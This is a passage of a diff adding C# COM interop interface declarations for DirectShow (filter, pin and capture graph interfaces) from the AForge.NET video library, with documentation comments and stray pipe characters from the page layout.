[PreserveSig]
|
||||||
|
int GetFrameRateList( [In] IPin pin, [In] int index,
|
||||||
|
[In] System.Drawing.Size dimensions,
|
||||||
|
[Out] out int listSize,
|
||||||
|
[Out] out IntPtr frameRate );
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,161 @@
|
|||||||
|
// AForge Direct Show Library
|
||||||
|
// AForge.NET framework
|
||||||
|
//
|
||||||
|
// Copyright © Andrew Kirillov, 2007
|
||||||
|
// andrew.kirillov@gmail.com
|
||||||
|
//
|
||||||
|
|
||||||
|
namespace AForge.Video.DirectShow.Internals
|
||||||
|
{
|
||||||
|
using System;
|
||||||
|
using System.Runtime.InteropServices;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// The IBaseFilter interface provides methods for controlling a filter.
|
||||||
|
/// All DirectShow filters expose this interface
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
[ComImport,
|
||||||
|
Guid( "56A86895-0AD4-11CE-B03A-0020AF0BA770" ),
|
||||||
|
InterfaceType( ComInterfaceType.InterfaceIsIUnknown )]
|
||||||
|
internal interface IBaseFilter
|
||||||
|
{
|
||||||
|
// --- IPersist Methods
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Returns the class identifier (CLSID) for the component object.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <param name="ClassID">Points to the location of the CLSID on return.</param>
|
||||||
|
///
|
||||||
|
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||||
|
///
|
||||||
|
[PreserveSig]
|
||||||
|
int GetClassID( [Out] out Guid ClassID );
|
||||||
|
|
||||||
|
// --- IMediaFilter Methods
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Stops the filter.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||||
|
///
|
||||||
|
[PreserveSig]
|
||||||
|
int Stop( );
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Pauses the filter.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||||
|
///
|
||||||
|
[PreserveSig]
|
||||||
|
int Pause( );
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Runs the filter.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <param name="start">Reference time corresponding to stream time 0.</param>
|
||||||
|
///
|
||||||
|
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||||
|
///
|
||||||
|
[PreserveSig]
|
||||||
|
int Run( long start );
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Retrieves the state of the filter (running, stopped, or paused).
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <param name="milliSecsTimeout">Time-out interval, in milliseconds.</param>
|
||||||
|
/// <param name="filterState">Pointer to a variable that receives filter's state.</param>
|
||||||
|
///
|
||||||
|
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||||
|
///
|
||||||
|
[PreserveSig]
|
||||||
|
int GetState( int milliSecsTimeout, [Out] out int filterState );
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Sets the reference clock for the filter or the filter graph.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <param name="clock">Pointer to the clock's <b>IReferenceClock</b> interface, or NULL. </param>
|
||||||
|
///
|
||||||
|
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||||
|
///
|
||||||
|
[PreserveSig]
|
||||||
|
int SetSyncSource( [In] IntPtr clock );
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Retrieves the current reference clock.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <param name="clock">Address of a variable that receives a pointer to the clock's IReferenceClock interface.</param>
|
||||||
|
///
|
||||||
|
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||||
|
///
|
||||||
|
[PreserveSig]
|
||||||
|
int GetSyncSource( [Out] out IntPtr clock );
|
||||||
|
|
||||||
|
// --- IBaseFilter Methods
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Enumerates the pins on this filter.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <param name="enumPins">Address of a variable that receives a pointer to the IEnumPins interface.</param>
|
||||||
|
///
|
||||||
|
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||||
|
///
|
||||||
|
[PreserveSig]
|
||||||
|
int EnumPins( [Out] out IEnumPins enumPins );
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Retrieves the pin with the specified identifier.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <param name="id">Pointer to a constant wide-character string that identifies the pin.</param>
|
||||||
|
/// <param name="pin">Address of a variable that receives a pointer to the pin's IPin interface.</param>
|
||||||
|
///
|
||||||
|
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||||
|
///
|
||||||
|
[PreserveSig]
|
||||||
|
int FindPin( [In, MarshalAs( UnmanagedType.LPWStr )] string id, [Out] out IPin pin );
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Retrieves information about the filter.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <param name="filterInfo">Pointer to <b>FilterInfo</b> structure.</param>
|
||||||
|
///
|
||||||
|
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||||
|
///
|
||||||
|
[PreserveSig]
|
||||||
|
int QueryFilterInfo( [Out] out FilterInfo filterInfo );
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Notifies the filter that it has joined or left the filter graph.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <param name="graph">Pointer to the Filter Graph Manager's <b>IFilterGraph</b> interface, or NULL
|
||||||
|
/// if the filter is leaving the graph.</param>
|
||||||
|
/// <param name="name">String that specifies a name for the filter.</param>
|
||||||
|
///
|
||||||
|
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||||
|
///
|
||||||
|
[PreserveSig]
|
||||||
|
int JoinFilterGraph( [In] IFilterGraph graph, [In, MarshalAs( UnmanagedType.LPWStr )] string name );
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Retrieves a string containing vendor information.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <param name="vendorInfo">Receives a string containing the vendor information.</param>
|
||||||
|
///
|
||||||
|
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||||
|
///
|
||||||
|
[PreserveSig]
|
||||||
|
int QueryVendorInfo( [Out, MarshalAs( UnmanagedType.LPWStr )] out string vendorInfo );
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,192 @@
|
|||||||
|
// AForge Direct Show Library
|
||||||
|
// AForge.NET framework
|
||||||
|
//
|
||||||
|
// Copyright © Andrew Kirillov, 2008
|
||||||
|
// andrew.kirillov@gmail.com
|
||||||
|
//
|
||||||
|
|
||||||
|
namespace AForge.Video.DirectShow.Internals
|
||||||
|
{
|
||||||
|
using System;
|
||||||
|
using System.Runtime.InteropServices;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// This interface builds capture graphs and other custom filter graphs.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
[ComImport,
|
||||||
|
Guid( "93E5A4E0-2D50-11d2-ABFA-00A0C9C6E38D" ),
|
||||||
|
InterfaceType( ComInterfaceType.InterfaceIsIUnknown )]
|
||||||
|
internal interface ICaptureGraphBuilder2
|
||||||
|
{
|
||||||
|
/// <summary>
|
||||||
|
/// Specify filter graph for the capture graph builder to use.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <param name="graphBuilder">Filter graph's interface.</param>
|
||||||
|
///
|
||||||
|
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||||
|
///
|
||||||
|
[PreserveSig]
|
||||||
|
int SetFiltergraph( [In] IGraphBuilder graphBuilder );
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Retrieve the filter graph that the builder is using.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <param name="graphBuilder">Filter graph's interface.</param>
|
||||||
|
///
|
||||||
|
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||||
|
///
|
||||||
|
[PreserveSig]
|
||||||
|
int GetFiltergraph( [Out] out IGraphBuilder graphBuilder );
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Create file writing section of the filter graph.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <param name="type">GUID that represents either the media subtype of the output or the
|
||||||
|
/// class identifier (CLSID) of a multiplexer filter or file writer filter.</param>
|
||||||
|
/// <param name="fileName">Output file name.</param>
|
||||||
|
/// <param name="baseFilter">Receives the multiplexer's <see cref="IBaseFilter"/> interface.</param>
|
||||||
|
/// <param name="fileSinkFilter">Receives the file writer's IFileSinkFilter interface. Can be NULL.</param>
|
||||||
|
///
|
||||||
|
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||||
|
///
|
||||||
|
[PreserveSig]
|
||||||
|
int SetOutputFileName(
|
||||||
|
[In, MarshalAs( UnmanagedType.LPStruct )] Guid type,
|
||||||
|
[In, MarshalAs( UnmanagedType.LPWStr )] string fileName,
|
||||||
|
[Out] out IBaseFilter baseFilter,
|
||||||
|
[Out] out IntPtr fileSinkFilter
|
||||||
|
);
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Searche the graph for a specified interface, starting from a specified filter.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <param name="category">GUID that specifies the search criteria.</param>
|
||||||
|
/// <param name="type">GUID that specifies the major media type of an output pin, or NULL.</param>
|
||||||
|
/// <param name="baseFilter"><see cref="IBaseFilter"/> interface of the filter. The method begins searching from this filter.</param>
|
||||||
|
/// <param name="interfaceID">Interface identifier (IID) of the interface to locate.</param>
|
||||||
|
/// <param name="retInterface">Receives found interface.</param>
|
||||||
|
///
|
||||||
|
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||||
|
///
|
||||||
|
[PreserveSig]
|
||||||
|
int FindInterface(
|
||||||
|
[In, MarshalAs( UnmanagedType.LPStruct )] Guid category,
|
||||||
|
[In, MarshalAs( UnmanagedType.LPStruct )] Guid type,
|
||||||
|
[In] IBaseFilter baseFilter,
|
||||||
|
[In, MarshalAs( UnmanagedType.LPStruct )] Guid interfaceID ,
|
||||||
|
[Out, MarshalAs( UnmanagedType.IUnknown )] out object retInterface
|
||||||
|
);
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Connect an output pin on a source filter to a rendering filter, optionally through a compression filter.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <param name="category">Pin category.</param>
|
||||||
|
/// <param name="mediaType">Major-type GUID that specifies the media type of the output pin.</param>
|
||||||
|
/// <param name="source">Starting filter for the connection.</param>
|
||||||
|
/// <param name="compressor">Interface of an intermediate filter, such as a compression filter. Can be NULL.</param>
|
||||||
|
/// <param name="renderer">Sink filter, such as a renderer or mux filter.</param>
|
||||||
|
///
|
||||||
|
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||||
|
///
|
||||||
|
[PreserveSig]
|
||||||
|
int RenderStream(
|
||||||
|
[In, MarshalAs( UnmanagedType.LPStruct )] Guid category,
|
||||||
|
[In, MarshalAs( UnmanagedType.LPStruct )] Guid mediaType,
|
||||||
|
[In, MarshalAs( UnmanagedType.IUnknown )] object source,
|
||||||
|
[In] IBaseFilter compressor,
|
||||||
|
[In] IBaseFilter renderer
|
||||||
|
);
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Set the start and stop times for one or more streams of captured data.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <param name="category">Pin category.</param>
|
||||||
|
/// <param name="mediaType">Major-type GUID that specifies the media type.</param>
|
||||||
|
/// <param name="filter"><see cref="IBaseFilter"/> interface that specifies which filter to control.</param>
|
||||||
|
/// <param name="start">Start time.</param>
|
||||||
|
/// <param name="stop">Stop time.</param>
|
||||||
|
/// <param name="startCookie">Value that is sent as the second parameter of the
|
||||||
|
/// EC_STREAM_CONTROL_STARTED event notification.</param>
|
||||||
|
/// <param name="stopCookie">Value that is sent as the second parameter of the
|
||||||
|
/// EC_STREAM_CONTROL_STOPPED event notification.</param>
|
||||||
|
///
|
||||||
|
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||||
|
///
|
||||||
|
[PreserveSig]
|
||||||
|
int ControlStream(
|
||||||
|
[In, MarshalAs( UnmanagedType.LPStruct )] Guid category,
|
||||||
|
[In, MarshalAs( UnmanagedType.LPStruct )] Guid mediaType,
|
||||||
|
[In, MarshalAs( UnmanagedType.Interface )] IBaseFilter filter,
|
||||||
|
[In] long start,
|
||||||
|
[In] long stop,
|
||||||
|
[In] short startCookie,
|
||||||
|
[In] short stopCookie
|
||||||
|
);
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Preallocate a capture file to a specified size.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <param name="fileName">File name to create or resize.</param>
|
||||||
|
/// <param name="size">Size of the file to allocate, in bytes.</param>
|
||||||
|
///
|
||||||
|
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||||
|
///
|
||||||
|
[PreserveSig]
|
||||||
|
int AllocCapFile(
|
||||||
|
[In, MarshalAs( UnmanagedType.LPWStr )] string fileName,
|
||||||
|
[In] long size
|
||||||
|
);
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Copy the valid media data from a capture file.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <param name="oldFileName">Old file name.</param>
|
||||||
|
/// <param name="newFileName">New file name.</param>
|
||||||
|
/// <param name="allowEscAbort">Boolean value that specifies whether pressing the ESC key cancels the copy operation.</param>
|
||||||
|
/// <param name="callback">IAMCopyCaptureFileProgress interface to display progress information, or NULL.</param>
|
||||||
|
///
|
||||||
|
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||||
|
///
|
||||||
|
[PreserveSig]
|
||||||
|
int CopyCaptureFile(
|
||||||
|
[In, MarshalAs( UnmanagedType.LPWStr )] string oldFileName,
|
||||||
|
[In, MarshalAs( UnmanagedType.LPWStr )] string newFileName,
|
||||||
|
[In, MarshalAs( UnmanagedType.Bool )] bool allowEscAbort,
|
||||||
|
[In] IntPtr callback
|
||||||
|
);
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
///
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <param name="source">Interface on a filter, or to an interface on a pin.</param>
|
||||||
|
/// <param name="pinDirection">Pin direction (input or output).</param>
|
||||||
|
/// <param name="category">Pin category.</param>
|
||||||
|
/// <param name="mediaType">Media type.</param>
|
||||||
|
/// <param name="unconnected">Boolean value that specifies whether the pin must be unconnected.</param>
|
||||||
|
/// <param name="index">Zero-based index of the pin to retrieve, from the set of matching pins.</param>
|
||||||
|
/// <param name="pin">Interface of the matching pin.</param>
|
||||||
|
///
|
||||||
|
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||||
|
///
|
||||||
|
[PreserveSig]
|
||||||
|
int FindPin(
|
||||||
|
[In, MarshalAs( UnmanagedType.IUnknown )] object source,
|
||||||
|
[In] PinDirection pinDirection,
|
||||||
|
[In, MarshalAs( UnmanagedType.LPStruct )] Guid category,
|
||||||
|
[In, MarshalAs( UnmanagedType.LPStruct )] Guid mediaType,
|
||||||
|
[In, MarshalAs( UnmanagedType.Bool )] bool unconnected,
|
||||||
|
[In] int index,
|
||||||
|
[Out, MarshalAs( UnmanagedType.Interface )] out IPin pin
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,37 @@
|
|||||||
|
// AForge Direct Show Library
|
||||||
|
// AForge.NET framework
|
||||||
|
//
|
||||||
|
// Copyright © Andrew Kirillov, 2007
|
||||||
|
// andrew.kirillov@gmail.com
|
||||||
|
//
|
||||||
|
|
||||||
|
namespace AForge.Video.DirectShow.Internals
|
||||||
|
{
|
||||||
|
using System;
|
||||||
|
using System.Runtime.InteropServices;
|
||||||
|
using System.Runtime.InteropServices.ComTypes;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// The <b>ICreateDevEnum</b> interface creates an enumerator for devices within a particular category,
|
||||||
|
/// such as video capture devices, audio capture devices, video compressors, and so forth.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
[ComImport,
|
||||||
|
Guid( "29840822-5B84-11D0-BD3B-00A0C911CE86" ),
|
||||||
|
InterfaceType( ComInterfaceType.InterfaceIsIUnknown )]
|
||||||
|
internal interface ICreateDevEnum
|
||||||
|
{
|
||||||
|
/// <summary>
|
||||||
|
/// Creates a class enumerator for a specified device category.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <param name="type">Specifies the class identifier of the device category.</param>
|
||||||
|
/// <param name="enumMoniker">Address of a variable that receives an <b>IEnumMoniker</b> interface pointer</param>
|
||||||
|
/// <param name="flags">Bitwise combination of zero or more flags. If zero, the method enumerates every filter in the category.</param>
|
||||||
|
///
|
||||||
|
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||||
|
///
|
||||||
|
[PreserveSig]
|
||||||
|
int CreateClassEnumerator( [In] ref Guid type, [Out] out IEnumMoniker enumMoniker, [In] int flags );
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,71 @@
|
|||||||
|
// AForge Direct Show Library
|
||||||
|
// AForge.NET framework
|
||||||
|
//
|
||||||
|
// Copyright © Andrew Kirillov, 2007-2008
|
||||||
|
// andrew.kirillov@gmail.com
|
||||||
|
//
|
||||||
|
|
||||||
|
namespace AForge.Video.DirectShow.Internals
|
||||||
|
{
|
||||||
|
using System;
|
||||||
|
using System.Runtime.InteropServices;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// This interface is used by applications or other filters to determine
|
||||||
|
/// what filters exist in the filter graph.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
[ComImport,
|
||||||
|
Guid( "56A86893-0AD4-11CE-B03A-0020AF0BA770" ),
|
||||||
|
InterfaceType( ComInterfaceType.InterfaceIsIUnknown )]
|
||||||
|
internal interface IEnumFilters
|
||||||
|
{
|
||||||
|
/// <summary>
|
||||||
|
/// Retrieves the specified number of filters in the enumeration sequence.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <param name="cFilters">Number of filters to retrieve.</param>
|
||||||
|
/// <param name="filters">Array in which to place <see cref="IBaseFilter"/> interfaces.</param>
|
||||||
|
/// <param name="filtersFetched">Actual number of filters placed in the array.</param>
|
||||||
|
///
|
||||||
|
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||||
|
///
|
||||||
|
[PreserveSig]
|
||||||
|
int Next( [In] int cFilters,
|
||||||
|
[Out, MarshalAs( UnmanagedType.LPArray, SizeParamIndex = 0 )] IBaseFilter[] filters,
|
||||||
|
[Out] out int filtersFetched );
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Skips a specified number of filters in the enumeration sequence.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <param name="cFilters">Number of filters to skip.</param>
|
||||||
|
///
|
||||||
|
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||||
|
///
|
||||||
|
[PreserveSig]
|
||||||
|
int Skip( [In] int cFilters );
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Resets the enumeration sequence to the beginning.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||||
|
///
|
||||||
|
[PreserveSig]
|
||||||
|
int Reset( );
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Makes a copy of the enumerator with the same enumeration state.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <param name="enumFilters">Duplicate of the enumerator.</param>
|
||||||
|
///
|
||||||
|
///
|
||||||
|
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||||
|
///
|
||||||
|
///
|
||||||
|
[PreserveSig]
|
||||||
|
int Clone( [Out] out IEnumFilters enumFilters );
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,68 @@
|
|||||||
|
// AForge Direct Show Library
|
||||||
|
// AForge.NET framework
|
||||||
|
//
|
||||||
|
// Copyright © Andrew Kirillov, 2007
|
||||||
|
// andrew.kirillov@gmail.com
|
||||||
|
//
|
||||||
|
|
||||||
|
namespace AForge.Video.DirectShow.Internals
|
||||||
|
{
|
||||||
|
using System;
|
||||||
|
using System.Runtime.InteropServices;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Enumerates pins on a filter.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
[ComImport,
|
||||||
|
Guid( "56A86892-0AD4-11CE-B03A-0020AF0BA770" ),
|
||||||
|
InterfaceType( ComInterfaceType.InterfaceIsIUnknown )]
|
||||||
|
internal interface IEnumPins
|
||||||
|
{
|
||||||
|
/// <summary>
|
||||||
|
/// Retrieves a specified number of pins.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <param name="cPins">Number of pins to retrieve.</param>
|
||||||
|
/// <param name="pins">Array of size <b>cPins</b> that is filled with <b>IPin</b> pointers.</param>
|
||||||
|
/// <param name="pinsFetched">Receives the number of pins retrieved.</param>
|
||||||
|
///
|
||||||
|
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||||
|
///
|
||||||
|
[PreserveSig]
|
||||||
|
int Next( [In] int cPins,
|
||||||
|
[Out, MarshalAs( UnmanagedType.LPArray, SizeParamIndex = 0 )] IPin[] pins,
|
||||||
|
[Out] out int pinsFetched );
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Skips a specified number of pins in the enumeration sequence.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <param name="cPins">Number of pins to skip.</param>
|
||||||
|
///
|
||||||
|
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||||
|
///
|
||||||
|
[PreserveSig]
|
||||||
|
int Skip( [In] int cPins );
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Resets the enumeration sequence to the beginning.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||||
|
///
|
||||||
|
[PreserveSig]
|
||||||
|
int Reset( );
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Makes a copy of the enumerator with the same enumeration state.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <param name="enumPins">Duplicate of the enumerator.</param>
|
||||||
|
///
|
||||||
|
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||||
|
///
|
||||||
|
[PreserveSig]
|
||||||
|
int Clone( [Out] out IEnumPins enumPins );
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,113 @@
|
|||||||
|
// AForge Direct Show Library
|
||||||
|
// AForge.NET framework
|
||||||
|
//
|
||||||
|
// Copyright © Andrew Kirillov, 2007
|
||||||
|
// andrew.kirillov@gmail.com
|
||||||
|
//
|
||||||
|
|
||||||
|
namespace AForge.Video.DirectShow.Internals
|
||||||
|
{
|
||||||
|
using System;
|
||||||
|
using System.Runtime.InteropServices;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// The interface provides methods for building a filter graph. An application can use it to add filters to
|
||||||
|
/// the graph, connect or disconnect filters, remove filters, and perform other basic operations.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
[ComImport,
|
||||||
|
Guid( "56A8689F-0AD4-11CE-B03A-0020AF0BA770" ),
|
||||||
|
InterfaceType( ComInterfaceType.InterfaceIsIUnknown )]
|
||||||
|
internal interface IFilterGraph
|
||||||
|
{
|
||||||
|
/// <summary>
|
||||||
|
/// Adds a filter to the graph and gives it a name.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <param name="filter">Filter to add to the graph.</param>
|
||||||
|
/// <param name="name">Name of the filter.</param>
|
||||||
|
///
|
||||||
|
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||||
|
///
|
||||||
|
[PreserveSig]
|
||||||
|
int AddFilter( [In] IBaseFilter filter, [In, MarshalAs( UnmanagedType.LPWStr )] string name );
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Removes a filter from the graph.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <param name="filter">Filter to be removed from the graph.</param>
|
||||||
|
///
|
||||||
|
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||||
|
///
|
||||||
|
[PreserveSig]
|
||||||
|
int RemoveFilter( [In] IBaseFilter filter );
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Provides an enumerator for all filters in the graph.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <param name="enumerator">Filter enumerator.</param>
|
||||||
|
///
|
||||||
|
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||||
|
///
|
||||||
|
[PreserveSig]
|
||||||
|
int EnumFilters( [Out] out IntPtr enumerator );
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Finds a filter that was added with a specified name.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <param name="name">Name of filter to search for.</param>
|
||||||
|
/// <param name="filter">Interface of found filter.</param>
|
||||||
|
///
|
||||||
|
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||||
|
///
|
||||||
|
[PreserveSig]
|
||||||
|
int FindFilterByName( [In, MarshalAs( UnmanagedType.LPWStr )] string name, [Out] out IBaseFilter filter );
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Connects two pins directly (without intervening filters).
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <param name="pinOut">Output pin.</param>
|
||||||
|
/// <param name="pinIn">Input pin.</param>
|
||||||
|
/// <param name="mediaType">Media type to use for the connection.</param>
|
||||||
|
///
|
||||||
|
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||||
|
///
|
||||||
|
[PreserveSig]
|
||||||
|
int ConnectDirect( [In] IPin pinOut, [In] IPin pinIn, [In, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType );
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Breaks the existing pin connection and reconnects it to the same pin.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <param name="pin">Pin to disconnect and reconnect.</param>
|
||||||
|
///
|
||||||
|
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||||
|
///
|
||||||
|
[PreserveSig]
|
||||||
|
int Reconnect( [In] IPin pin );
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Disconnects a specified pin.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <param name="pin">Pin to disconnect.</param>
|
||||||
|
///
|
||||||
|
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||||
|
///
|
||||||
|
[PreserveSig]
|
||||||
|
int Disconnect( [In] IPin pin );
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Sets the reference clock to the default clock.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||||
|
///
|
||||||
|
[PreserveSig]
|
||||||
|
int SetDefaultSyncSource( );
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,257 @@
|
|||||||
|
// AForge Direct Show Library
|
||||||
|
// AForge.NET framework
|
||||||
|
//
|
||||||
|
// Copyright © Andrew Kirillov, 2008
|
||||||
|
// andrew.kirillov@gmail.com
|
||||||
|
//
|
||||||
|
|
||||||
|
namespace AForge.Video.DirectShow.Internals
|
||||||
|
{
|
||||||
|
using System;
|
||||||
|
using System.Runtime.InteropServices;
|
||||||
|
using System.Runtime.InteropServices.ComTypes;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// This interface extends the <see cref="IFilterGraph"/> and <see cref="IGraphBuilder"/>
|
||||||
|
/// interfaces, which contain methods for building filter graphs.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
[ComImport,
|
||||||
|
Guid("36B73882-C2C8-11CF-8B46-00805F6CEF60"),
|
||||||
|
InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
|
||||||
|
internal interface IFilterGraph2
|
||||||
|
{
|
||||||
|
// --- IFilterGraph Methods
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Adds a filter to the graph and gives it a name.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <param name="filter">Filter to add to the graph.</param>
|
||||||
|
/// <param name="name">Name of the filter.</param>
|
||||||
|
///
|
||||||
|
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||||
|
///
|
||||||
|
[PreserveSig]
|
||||||
|
int AddFilter( [In] IBaseFilter filter, [In, MarshalAs( UnmanagedType.LPWStr )] string name );
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Removes a filter from the graph.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <param name="filter">Filter to be removed from the graph.</param>
|
||||||
|
///
|
||||||
|
/// <returns>Return's <b>HRESULT</b> error code.</returns>
|
||||||
|
///
|
||||||
|
[PreserveSig]
|
||||||
|
int RemoveFilter( [In] IBaseFilter filter );
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Provides an enumerator for all filters in the graph.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
